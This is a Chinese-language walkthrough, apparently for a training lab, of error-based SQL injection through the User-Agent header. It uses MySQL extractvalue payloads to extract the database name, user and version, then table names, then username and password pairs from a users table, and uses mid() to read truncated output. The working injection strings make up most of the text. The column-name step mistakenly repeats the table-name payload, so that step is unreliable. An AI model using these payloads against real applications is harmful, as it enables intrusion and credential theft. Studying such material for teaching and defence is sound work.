1、判断闭合方式
我们先使用burp破解出一个正确的账号和密码,返回正常的页面,如下:
账号:admin ,密码:admin
它显示了User-Agent,我们大胆猜测注入点在这里。
我们在截取的数据包中的User-Agent上加上一个'。返回页面如下:
出现报错。这说明闭合方式就是'。
2、确定注入方式
我们发现没有回显。
并且,在判断闭合方式时,我们发现该网站会返回错误,说明该网站适合使用报错注入。我们这次使用extractvalue函数进行报错注入。
3、爆破数据库名、用户名、版本
输入语句
1',1,extractvalue(1,concat('~',(select concat(database(),'-',user(),'-',version())),'~')))#
,返回页面如下:
4、爆破数据表名
输入语句
1',1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~')))#
,返回页面如下:
5、爆破列名
输入语句
1',1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~')))#
,返回页面如下:
6、爆破数据
输入语句
1',1,extractvalue(1,concat('~',(select group_concat(concat(username,'~',password)) from users),'~')))#
,返回页面如下:
很显然,这里的数据没有显示完全。我们将语句改为:
1',1,extractvalue(1,concat('~',mid((select group_concat(concat(username,'~',password)) from users),10,5),'~')))#
,返回页面如下:
通过改变mid函数的后面两个参数可以改变返回的内容。